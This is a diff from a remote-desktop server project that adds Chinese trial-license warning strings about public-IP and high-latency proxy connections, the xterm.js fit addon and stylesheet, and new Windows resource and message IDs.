检测到入站连接来自公网 IP%s\r\n\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n如需跨网远控请向发行方申请正式授权。\r\n\r\n详细记录见消息列表与运行日志。=檢測到入站連線來自公網 IP%s\r\n\r\n試用版僅供 LAN 內自用,跨網使用屬於違反授權條款。\r\n如需跨網遠控請向發行方申請正式授權。\r\n\r\n詳細記錄請見訊息列表與執行日誌。
检测到可疑连接:内核 RTT 中位数 %d ms超出阈值 %d ms。\r\n\r\n持续偏高的 RTT 提示该连接可能经由代理 / VPN / 隧道中转。\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n\r\n如需跨网远控请向发行方申请正式授权。\r\n详细记录见消息列表与运行日志。=檢測到可疑連線:核心 RTT 中位數 %d ms超出閾值 %d ms。\r\n\r\n持續偏高的 RTT 提示該連線可能經由代理 / VPN / 隧道中轉。\r\n試用版僅供 LAN 內自用,跨網使用屬於違反授權條款。\r\n\r\n如需跨網遠控請向發行方申請正式授權。\r\n詳細記錄請見訊息列表與執行日誌。

Binary file not shown.

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.3 KiB

8
server/2015Remote/res/web/fit.min.js vendored Normal file
View File

@@ -0,0 +1,8 @@
/**
* Skipped minification because the original files appears to be already minified.
* Original file: /npm/xterm-addon-fit@0.8.0/lib/xterm-addon-fit.js
*
* Do NOT use SRI with dynamically generated files! More information: https://www.jsdelivr.com/using-sri-with-dynamic-files
*/
!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.FitAddon=t():e.FitAddon=t()}(self,(()=>(()=>{"use strict";var e={};return(()=>{var t=e;Object.defineProperty(t,"__esModule",{value:!0}),t.FitAddon=void 0,t.FitAddon=class{activate(e){this._terminal=e}dispose(){}fit(){const e=this.proposeDimensions();if(!e||!this._terminal||isNaN(e.cols)||isNaN(e.rows))return;const t=this._terminal._core;this._terminal.rows===e.rows&&this._terminal.cols===e.cols||(t._renderService.clear(),this._terminal.resize(e.cols,e.rows))}proposeDimensions(){if(!this._terminal)return;if(!this._terminal.element||!this._terminal.element.parentElement)return;const e=this._terminal._core,t=e._renderService.dimensions;if(0===t.css.cell.width||0===t.css.cell.height)return;const r=0===this._terminal.options.scrollback?0:e.viewport.scrollBarWidth,i=window.getComputedStyle(this._terminal.element.parentElement),o=parseInt(i.getPropertyValue("height")),s=Math.max(0,parseInt(i.getPropertyValue("width"))),n=window.getComputedStyle(this._terminal.element),l=o-(parseInt(n.getPropertyValue("padding-top"))+parseInt(n.getPropertyValue("padding-bottom"))),a=s-(parseInt(n.getPropertyValue("padding-right"))+parseInt(n.getPropertyValue("padding-left")))-r;return{cols:Math.max(2,Math.floor(a/t.css.cell.width)),rows:Math.max(1,Math.floor(l/t.css.cell.height))}}}})(),e})()));
//# sourceMappingURL=xterm-addon-fit.js.map

View File

@@ -0,0 +1,209 @@
/**
* Copyright (c) 2014 The xterm.js authors. All rights reserved.
* Copyright (c) 2012-2013, Christopher Jeffrey (MIT License)
* https://github.com/chjj/term.js
* @license MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
* Originally forked from (with the author's permission):
* Fabrice Bellard's javascript vt100 for jslinux:
* http://bellard.org/jslinux/
* Copyright (c) 2011 Fabrice Bellard
* The original design remains. The terminal itself
* has been extended to include xterm CSI codes, among
* other features.
*/
/**
* Default styles for xterm.js
*/
.xterm {
cursor: text;
position: relative;
user-select: none;
-ms-user-select: none;
-webkit-user-select: none;
}
.xterm.focus,
.xterm:focus {
outline: none;
}
.xterm .xterm-helpers {
position: absolute;
top: 0;
/**
* The z-index of the helpers must be higher than the canvases in order for
* IMEs to appear on top.
*/
z-index: 5;
}
.xterm .xterm-helper-textarea {
padding: 0;
border: 0;
margin: 0;
/* Move textarea out of the screen to the far left, so that the cursor is not visible */
position: absolute;
opacity: 0;
left: -9999em;
top: 0;
width: 0;
height: 0;
z-index: -5;
/** Prevent wrapping so the IME appears against the textarea at the correct position */
white-space: nowrap;
overflow: hidden;
resize: none;
}
.xterm .composition-view {
/* TODO: Composition position got messed up somewhere */
background: #000;
color: #FFF;
display: none;
position: absolute;
white-space: nowrap;
z-index: 1;
}
.xterm .composition-view.active {
display: block;
}
.xterm .xterm-viewport {
/* On OS X this is required in order for the scroll bar to appear fully opaque */
background-color: #000;
overflow-y: scroll;
cursor: default;
position: absolute;
right: 0;
left: 0;
top: 0;
bottom: 0;
}
.xterm .xterm-screen {
position: relative;
}
.xterm .xterm-screen canvas {
position: absolute;
left: 0;
top: 0;
}
.xterm .xterm-scroll-area {
visibility: hidden;
}
.xterm-char-measure-element {
display: inline-block;
visibility: hidden;
position: absolute;
top: 0;
left: -9999em;
line-height: normal;
}
.xterm.enable-mouse-events {
/* When mouse events are enabled (eg. tmux), revert to the standard pointer cursor */
cursor: default;
}
.xterm.xterm-cursor-pointer,
.xterm .xterm-cursor-pointer {
cursor: pointer;
}
.xterm.column-select.focus {
/* Column selection mode */
cursor: crosshair;
}
.xterm .xterm-accessibility,
.xterm .xterm-message {
position: absolute;
left: 0;
top: 0;
bottom: 0;
right: 0;
z-index: 10;
color: transparent;
pointer-events: none;
}
.xterm .live-region {
position: absolute;
left: -9999px;
width: 1px;
height: 1px;
overflow: hidden;
}
.xterm-dim {
/* Dim should not apply to background, so the opacity of the foreground color is applied
* explicitly in the generated class and reset to 1 here */
opacity: 1 !important;
}
.xterm-underline-1 { text-decoration: underline; }
.xterm-underline-2 { text-decoration: double underline; }
.xterm-underline-3 { text-decoration: wavy underline; }
.xterm-underline-4 { text-decoration: dotted underline; }
.xterm-underline-5 { text-decoration: dashed underline; }
.xterm-overline {
text-decoration: overline;
}
.xterm-overline.xterm-underline-1 { text-decoration: overline underline; }
.xterm-overline.xterm-underline-2 { text-decoration: overline double underline; }
.xterm-overline.xterm-underline-3 { text-decoration: overline wavy underline; }
.xterm-overline.xterm-underline-4 { text-decoration: overline dotted underline; }
.xterm-overline.xterm-underline-5 { text-decoration: overline dashed underline; }
.xterm-strikethrough {
text-decoration: line-through;
}
.xterm-screen .xterm-decoration-container .xterm-decoration {
z-index: 6;
position: absolute;
}
.xterm-screen .xterm-decoration-container .xterm-decoration.xterm-decoration-top-layer {
z-index: 7;
}
.xterm-decoration-overview-ruler {
z-index: 8;
position: absolute;
top: 0;
right: 0;
pointer-events: none;
}
.xterm-decoration-top {
z-index: 2;
position: relative;
}

File diff suppressed because one or more lines are too long

View File

@@ -255,8 +255,13 @@
#define IDR_MACOS_GHOST 372 #define IDR_MACOS_GHOST 372
#define IDB_BITMAP_WEBDESKTOP 373 #define IDB_BITMAP_WEBDESKTOP 373
#define IDB_BITMAP_PLUGINCONFIG 374 #define IDB_BITMAP_PLUGINCONFIG 374
#define IDB_BITMAP_SNAPSHOT 375
#define IDI_ICON_SNAPSHOT 376
#define IDR_LANG_EN_US 380 #define IDR_LANG_EN_US 380
#define IDR_LANG_ZH_TW 381 #define IDR_LANG_ZH_TW 381
#define IDR_WEB_XTERM_JS 382
#define IDR_WEB_XTERM_CSS 383
#define IDR_WEB_XTERM_FIT_JS 384
#define IDC_MESSAGE 1000 #define IDC_MESSAGE 1000
#define IDC_ONLINE 1001 #define IDC_ONLINE 1001
#define IDC_STATIC_TIPS 1002 #define IDC_STATIC_TIPS 1002
@@ -731,8 +736,11 @@
#define IDC_STATIC_PLUGIN_INTERVAL 2537 #define IDC_STATIC_PLUGIN_INTERVAL 2537
#define IDC_STATIC_PLUGIN_COUNTER 2538 #define IDC_STATIC_PLUGIN_COUNTER 2538
#define IDC_COMBO_TRIGGER_TYPE 2539 #define IDC_COMBO_TRIGGER_TYPE 2539
#define IDC_EDIT_CLIPBOARD 2539
#define IDC_LIST_TRIGGER_PLUGINS 2540 #define IDC_LIST_TRIGGER_PLUGINS 2540
#define IDC_EDIT_TEXTRULE 2540
#define IDC_BTN_TRIGGER_ADD 2541 #define IDC_BTN_TRIGGER_ADD 2541
#define IDC_BTN_APPLY_TEXTRULE 2541
#define IDC_BTN_TRIGGER_REMOVE 2542 #define IDC_BTN_TRIGGER_REMOVE 2542
#define IDC_LIST_TRIGGERS 2543 #define IDC_LIST_TRIGGERS 2543
#define IDC_STATIC_TRIGGER_TYPE 2544 #define IDC_STATIC_TRIGGER_TYPE 2544
@@ -971,15 +979,18 @@
#define ID_33046 33046 #define ID_33046 33046
#define ID_PROXY_PORT_AUTORUN 33047 #define ID_PROXY_PORT_AUTORUN 33047
#define ID_TRIGGER_SETTINGS 33048 #define ID_TRIGGER_SETTINGS 33048
#define ID_33048 33048
#define ID_SCREENPREVIEW_LOOP 33049
#define ID_PARAM_THUMBNAIL_PREVIEW 33050
#define ID_EXIT_FULLSCREEN 40001 #define ID_EXIT_FULLSCREEN 40001
// Next default values for new objects // Next default values for new objects
// //
#ifdef APSTUDIO_INVOKED #ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS #ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 373 #define _APS_NEXT_RESOURCE_VALUE 385
#define _APS_NEXT_COMMAND_VALUE 33048 #define _APS_NEXT_COMMAND_VALUE 33051
#define _APS_NEXT_CONTROL_VALUE 2539 #define _APS_NEXT_CONTROL_VALUE 2542
#define _APS_NEXT_SYMED_VALUE 105 #define _APS_NEXT_SYMED_VALUE 105
#endif #endif
#endif #endif

View File

@@ -102,6 +102,9 @@
#define WM_DISCONNECT WM_USER+3032 #define WM_DISCONNECT WM_USER+3032
#define WM_OPENTERMINALDIALOG WM_USER+3033 #define WM_OPENTERMINALDIALOG WM_USER+3033
#define WM_PREVIEW_RESPONSE WM_USER+3034 #define WM_PREVIEW_RESPONSE WM_USER+3034
#define WM_PREVIEW_LOOP_CLOSED WM_USER+3035
#define WM_TRIAL_RTT_ABUSE WM_USER+3036 // 试用版 RTT 反代理:服务端检测到滥用,通知主窗口弹框
#define WM_TRIAL_WAN_IP_ABUSE WM_USER+3037 // 试用版 IP 段检测OnAccept 发现入站为公网 IP通知主窗口弹框
#ifdef _UNICODE #ifdef _UNICODE
#if defined _M_IX86 #if defined _M_IX86